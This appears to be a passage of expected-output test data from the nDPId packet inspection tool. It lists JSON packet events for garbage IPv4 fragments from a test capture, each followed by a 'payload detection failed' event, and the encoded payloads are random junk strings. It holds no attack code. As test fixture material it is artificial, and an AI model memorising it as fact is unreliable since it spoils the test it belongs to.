+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82700,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82948,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 